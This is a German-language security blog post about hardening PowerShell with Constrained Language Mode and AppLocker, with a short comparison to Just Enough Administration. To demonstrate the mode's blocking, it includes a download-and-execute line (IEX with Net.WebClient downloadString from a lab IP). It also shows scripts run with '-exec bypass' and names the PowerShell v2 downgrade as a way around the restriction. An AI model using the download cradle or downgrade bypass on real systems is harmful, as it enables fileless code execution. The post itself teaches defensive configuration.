PowerShell Risiken entschärfen (Constrained Language Mode)

PowerShell gibt es schon seit vielen Jahren. Im Jahr 2006 wurde die erste Version für Windows XP SP2, Windows Server 2003 SP+ und Windows Vista veröffentlicht [1]. Es hat mehrere Jahre gedauert, bis es von den Administratoren akzeptiert wurde. In Windows 10 wurde die viel genutzte Command-line (cmd.exe) durch PowerShell abgelöst.

In den letzten Jahren wurde PowerShell auch häufig von Schadsoftware oder bei professionellen Hackerangriffen verwendet. PowerShell wird dabei beispielsweise für dateilose Angriffe verwendet. Dabei wird der Schadcode direkt aus dem Internet in den Arbeitsspeicher geladen, ohne eine Datei auf dem Datenträger abzulegen. So können auch heute noch einige Antivirenlösungen umgangen werden.

Da das Blockieren von PowerShell nicht effektiv ist, um PowerShell-basierte Angriffe zu stoppen, ist ein differenzierter Ansatz erforderlich. Deswegen schauen wir uns PowerShell Constrained Language Mode an.

Language Mode

Der Language Mode bestimmt die Sprachelemente, die in der Sitzung zulässig sind. Alle PowerShell-Sitzungen verfügen über einen Language Mode, einschliesslich PSSessions. Standardmässig läuft PowerShell im Full Language Mode, in dem alle PowerShell Funktionen verfügbar sind. Dazu zählt der Zugriff auf alle Language Modes, Cmdlets und Module, wie auch auf das Dateisystem.

Folgende Language Modes gibt es:

  • FullLanguage
  • ConstrainedLanguage (seit PowerShell 3.0)
  • RestrictedLanguage
  • NoLanguage

ConstrainedLanguage Mode

In diesem Blog wollen wir uns den Constrained Language Mode anschauen. Der Constrained Language Mode lässt auch alle Cmdlets und PowerShell-Sprachelemente zu, schränkt jedoch die zulässigen Typen ein. Das Add-Type Cmdlet kann z.B. nicht mehr beliebigen C#-Code oder Win32-APIs laden. Das New-Object Cmdlet kann nur noch für bestimmte Typen verwendet werden. Die genaueren Einschränkungen des Constrained Language-Modus können Sie bei Microsoft [2] nachlesen.

Der eingestellte Language Mode kann mit folgendem Befehl abgerufen werden:

$ExecutionContext.SessionState.LanguageMode

Die ersten Schritte

Zum Testen und um die Unterschiede kennen zu lernen, können wir zwei PowerShell-Sessions öffnen und in einem der Sessions den Constrained Language Mode mit dem folgenden Befehl aktivieren:

$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

Beachten Sie aber, dass diese Einstellung nicht persistent ist. Wird die Sitzung beendet oder eine neue geöffnet, gilt wieder der Full Language Mode.

In beiden PowerShell-Sessions geben wir die gleichen Befehle ein.

[System.Console]::WriteLine("goSecurity rocks!")

Im Linken Fenster (Full Language Mode) wird der Befehl ausgeführt und im rechten (Constrained Language Mode) wird die Funktion abgewehrt.

Als nächstes versuchen wir eine Datei in den Arbeitsspeicher zu laden und danach auf dem System auszuführen.

IEX (New-Object Net.WebClient).downloadString('http://10.10.10.19/output.ps1')

Wir sehen, dass hier das gleiche passiert. Im linken Fenster (Full Language Mode) wird es ausgeführt und im rechten (Constrained Language Mode) wird der Object-Typ Net.WebClient abgewehrt.

Diese zwei einfachen Tests zeigen bereits deutlich die Unterschiede.

Constrained Language aktivieren

Es gibt mehrere Möglichkeiten den Constrained Language Modus zu aktivieren. Wir werden uns die Aktivierung in Verbindung mit AppLocker anschauen. Dazu müssen Sie zuerst AppLocker, wie im „BLOG AppLocker – Weniger ist mehr“ beschrieben, einrichten. Weiter müssen Sie mindestens die PowerShell v5 installiert haben. Seit PowerShell v5 wird die automatische Sperrung unterstützt. PowerShell erkennt ab dieser Version, wenn der AppLocker im „Allow“ Modus ist und aktiviert den PowerShell Constrained Language Mode. Nun müssen Sie noch Regeln für die Ausführung von Skripten erstellen. Als Start können Sie die Default Rules anlegen. Das ist natürlich noch kein vollständiger Schutz. Hier müssen auch, wie im AppLocker Blog beschrieben, weitere Verzeichnisse eingeschränkt werden. In allen zugelassenen Verzeichnissen wird PowerShell im Full Language Mode betrieben und in den anderen im Constrained Language Mode.

Und zum Schluss müssen wir die Skript Regeln noch aktivieren.

Beim nächsten Start der Workstation sind für alle User-Accounts, ausser Administratoren, nur noch Skripte im Full Language Mode aus den Verzeichnissen %PROGRAMFILES%\* (C:\Program Files\*, C:\Program Files (x86)\*,) und %WINDIR%\* (C:\Windows\*) aufrufbar.

Ob es wie gewünscht funktioniert, können wir mit einem kleinen PowerShell-Skript testen. Dazu erstellen wir die Datei .\run.ps1 und führen diese im User-Verzeichnis aus.

'[System.Console]::WriteLine("******`n[*] goSecurity rocks!`n******")' | Out-File .\run.ps1
powershell -exec bypass .\run.ps1

Diese wird von unserer Policy geblockt. Verschieben wir die Datei in das Verzeichnis C:\Windows\Temp, wird diese Datei ausgeführt.

mv .\run.ps1 c:\windows\temp
powershell -exec bypass c:\windows\temp\run.ps1

Es funktioniert alles, wie konfiguriert. Hier sehen wir aber noch ein Verzeichnis, welches bei der Ausführung von Skripten besser eingeschränkt werden muss.

Bypass Constrained Language Mode

Wie bei den meisten Sicherheitslösungen gibt es auch Wege, diese zu umgehen. Eine davon ist beispielsweise PowerShell v2 zu verwenden. Da der Constrained Language Modus erst ab Version 3 eingeführt wurde, wirkt dieser bei der Version 2 nicht. Bei älteren Betriebssystemen ist häufig PowerShell v2 und die aktuelle PowerShell Version installiert. Um sich dagegen zu schützen, muss diese deinstalliert werden. Weiter empfehlen wir Ihnen .NET v2.x zu deinstallieren, da diese ebenfalls für PowerShell v2 benötigt wird.

Constrained Language Mode vs. JEA

Constrained Language Mode schränkt nur einige Elemente der PowerShell-Sprache und den Zugriff auf Win32-APIs ein. Es bietet vollständigen Shellzugriff auf alle systemeigenen Befehle und viele Cmdlets. Es muss mit einer Anwendungssteuerungslösung, wie beispielsweise AppLocker, zusammen betrieben werden, um das System zu schützen. Das Ziel von Constrained Language Mode besteht darin, PowerShell auf einem eingeschränkten System bereitzustellen.

JEA (Just Enough Administration) ist nur für eine PowerShell-Remotesitzung, welche den angemeldeten Benutzer stark einschränken soll. JEA ist im NoLanguage Mode konfiguriert und hat keinen Zugriff auf Datei- oder Laufwerksanbieter und stellt nur einen kleinen Satz von Cmdlets zur Verfügung. Bei JEA werden die Cmdlets benutzerdefiniert auf den benötigten Aufgaben konfiguriert, ohne einen uneingeschränkten Zugriff auf das System zu vergeben. So kann beispielsweise für einen DHCP-Administrator nur Cmdlets für die Verwaltung des DHCP-Servers bereitgestellt werden.

Fazit

Der Constrained Language Mode kann die Sicherheit auf dem System erweitern, wenn es richtig konfiguriert ist. Wie bei allem reicht es nicht aus, den Constrained Language Mode für PowerShell alleine zu aktivieren. Es sind mehrere Komponenten, welche zum Ziel führen. Wir empfehlen, den PowerShell Constrained Language Mode in Kombination mit AppLocker zu aktivieren. So wird das umgehen des Constrained Language Mode mit alternativen Methoden erschwert. Je besser der AppLocker konfiguriert ist, desto besser ist das System geschützt.

Quellen

  1. Wikipedia: PowerShell
    https://en.wikipedia.org/wiki/PowerShell#:~:text=Windows%20PowerShell%201.0,-Windows%20PowerShell%201.0&text=PowerShell%201.0%20was%20released%20in,component%20of%20Windows%20Server%202008.
  2. Microsoft: about_Language_Modes
    https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2
  3. goSecurity BLOG: AppLocker – Weniger ist mehr
    https://www.gosecurity.ch/applocker-weniger-ist-mehr/

Informationen zum Autor: Marius Hamborgstrøm

Im Jahre 2014 ist es mir gelungen goSecurity von meinem Talent zu überzeugen. Als Experte für Penetration Tests konnte ich schon viele Schwachstellen aufdecken, bevor dies einem Hacker gelungen ist. Zudem bin ich für die Gestaltung und die Durchführung unserer goTraining-Kurse Hack to PROTECT (H2P), Hack to PROTECT [ADVANCED] (H2PA) und Windows Server Hardening (WSH) verantwortlich. Durch meine jahrelange Erfahrung als IT-Leiter einer mittelständischen Bank, kenne ich auch die Seite des Administrators und des IT-Managers in einer Umgebung mit hohen Sicherheitsanforderungen. Aus dieser Erfahrungskiste kann ich die Anforderungen unserer Kunden auch bei Audits und umfassenden Beratungen schnell verstehen und Sie zielgerichtet und praxisnah beraten. Jede Sicherheitslücke bei Ihnen zu finden, bevor dies jemand anderem gelingt, ist leider nicht immer realistisch. Und dennoch ist es mein Antrieb und mein Anspruch.